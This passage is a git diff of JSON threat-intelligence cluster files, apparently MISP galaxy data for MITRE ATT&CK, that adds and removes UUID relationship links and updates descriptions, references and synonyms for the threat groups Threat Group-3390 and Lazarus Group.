"6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ @@ -9271,13 +9091,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", "tags": [ @@ -9452,13 +9265,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "59ff91cd-1430-4075-8563-e6f15f4f9ff5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ @@ -10345,7 +10151,15 @@ "https://support.apple.com/en-us/HT204005" ] }, - "related": [], + "related": [ + { + "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885", "value": "Login Item Mitigation - T1162" }, @@ -11057,13 +10871,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7decb26c-715c-40cf-b7e0-026f7d7cc215", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "tags": [ @@ -11078,13 +10885,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "tags": [ - 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- { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12112,7 +12221,7 @@ "type": "mitigates" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12126,56 +12235,7 @@ "type": "mitigates" }, { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": 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"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", "tags": [ @@ -12208,13 +12261,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -12223,7 +12269,21 @@ "type": "mitigates" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12243,27 +12303,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ @@ -12271,13 +12310,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", "tags": [ @@ -12285,26 +12317,12 @@ ], "type": "mitigates" }, - { - "dest-uuid": "dc01774a-d1c1-45fb-b506-0a5d1d6593d9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" - }, - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" } ], "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee", @@ -12321,14 +12339,14 @@ }, "related": [ { - "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", + "dest-uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12372,13 +12390,6 @@ ] }, "related": [ - { - "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0ad7bc5c-235a-4048-944b-3b286676cb74", "tags": [ @@ -12491,13 +12502,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566", "tags": [ @@ -12810,6 +12814,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", "tags": [ @@ -12838,6 +12849,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", "tags": [ @@ -12908,13 +12926,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", "tags": [ @@ -13458,13 +13469,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d50955c2-272d-4ac8-95da-10c29dda1c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ @@ -13493,13 +13497,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "fc74ba38-dc98-461f-8611-b3dbf9978e3d", "tags": [ @@ -14480,13 +14477,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847", "tags": [ @@ -14501,13 +14491,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", "tags": [ @@ -15562,13 +15545,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c071d8c1-3b3a-4f22-9407-ca4e96921069", "tags": [ @@ -15798,41 +15774,6 @@ ] }, "related": [ - { - "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", "tags": [ @@ -15841,42 +15782,7 @@ "type": "mitigates" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", + "dest-uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15888,6 +15794,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c", @@ -16028,13 +15941,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", "tags": [ @@ -16077,13 +15983,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "379809f6-2fac-42c1-bd2e-e9dee70b27f8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", "tags": [ @@ -16140,13 +16039,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "56e0d8b8-3e25-49dd-9050-3aa252f5aa92", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", "tags": [ @@ -16189,6 +16081,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ @@ -16453,5 +16352,5 @@ "value": "Audit - M1047" } ], - "version": 23 + "version": 24 } diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json index 8af8f8e5..bff37925 100644 --- a/clusters/mitre-intrusion-set.json +++ b/clusters/mitre-intrusion-set.json @@ -172,24 +172,21 @@ "value": "The White Company - G0089" }, { - "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)", "meta": { "external_id": "G0027", "refs": [ "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/", "https://attack.mitre.org/groups/G0027", - "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "https://securelist.com/luckymouse-hits-national-data-center/86083/", "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html", "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "https://www.secureworks.com/research/bronze-union", - "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" + "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" ], "synonyms": [ "Threat Group-3390", - "Earth Smilodon", "TG-3390", "Emissary Panda", "BRONZE UNION", @@ -213,20 +210,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03acae53-9b98-46f6-b204-16b930839055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -234,13 +217,6 @@ ], "type": "uses" }, - { - "dest-uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", "tags": [ @@ -276,13 +252,6 @@ ], "type": "uses" }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "242f3da3-4425-4d11-8f5c-b842886da966", "tags": [ @@ -318,20 +287,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ @@ -346,13 +301,6 @@ ], "type": "uses" }, - { - "dest-uuid": "315f51f0-6b03-4c1e-bfb2-84740afb8e21", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", "tags": [ @@ -381,20 +329,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ @@ -402,13 +336,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4664b683-f578-434f-919b-1c1aad2a1111", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ @@ -479,13 +406,6 @@ ], "type": "uses" }, - { - "dest-uuid": "6e95feb1-78ee-48d3-b421-4d76663b5c49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": 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], - "type": "uses" - }, { "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", "tags": [ @@ -633,13 +532,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ @@ -647,20 +539,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c009560a-f097-45a3-8f9f-78ec1440a783", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ @@ -703,13 +581,6 @@ ], "type": "uses" }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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- "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "Dust Storm" @@ -3160,7 +3409,6 @@ "meta": { "external_id": "G0032", "refs": [ - "https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/", "https://attack.mitre.org/groups/G0032", "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/", "https://home.treasury.gov/news/press-releases/sm774", @@ -3171,7 +3419,6 @@ ], "synonyms": [ "Lazarus Group", - "Labyrinth Chollima", "HIDDEN COBRA", "Guardians of Peace", "ZINC", @@ -3179,13 +3426,6 @@ ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": 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"69f897fd-12a9-4c89-ad6a-46d2f3c38262", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -3627,13 +3720,6 @@ ], "type": "uses" }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "tags": [ @@ -3648,20 +3734,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7f4bbe05-1674-4087-8a16-8f1ad61b6152", "tags": [ @@ -3669,20 +3741,6 @@ ], "type": "uses" }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "tags": [ @@ -3711,20 +3769,6 @@ ], "type": "uses" }, - { - "dest-uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", "tags": [ @@ -3746,13 +3790,6 @@ ], "type": "uses" }, - { - "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -3775,28 +3812,7 @@ "type": "uses" }, { - "dest-uuid": "a1dd2dbd-1550-44bf-abcc-1a4c52e97719", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3816,13 +3832,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", "tags": [ @@ -3830,13 +3839,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b1ccd744-3f78-4a0e-9bb2-2002057f7928", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -3844,20 +3846,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bd0536d7-b081-43ae-a773-cfb057c5b988", "tags": [ @@ -3865,20 +3853,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ @@ -3886,27 +3860,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ @@ -3928,13 +3881,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cc723aff-ec88-40e3-a224-5af9fd983cc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -3963,20 +3909,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -3984,20 +3916,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e196b5c5-8118-4a1c-ab8a-936586ce3db5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2d34c63-6f5a-41f5-86a2-e2380f27f858", "tags": [ @@ -4005,20 +3923,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -4026,13 +3930,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e7cbc1de-1f79-48ee-abfd-da1241c65a15", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e928333f-f3df-4039-9b8b-556c2add0e42", "tags": [ @@ -4047,13 +3944,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ @@ -4061,13 +3951,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", "tags": [ @@ -4089,20 +3972,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f8774023-8021-4ece-9aca-383ac89d2759", "tags": [ @@ -4117,13 +3986,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", "tags": [ @@ -4547,20 +4409,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2eaa5319-5e1e-4dd7-bbc4-566fced3964a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "308b3d68-a084-4dfb-885a-3125e1a9c1e8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3249e92a-870b-426d-8790-ba311c1abfb4", "tags": [ @@ -4757,13 +4605,6 @@ ], "type": "uses" }, - { - "dest-uuid": "810d8072-afb6-4a56-9ee7-86379ac4a6f3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", 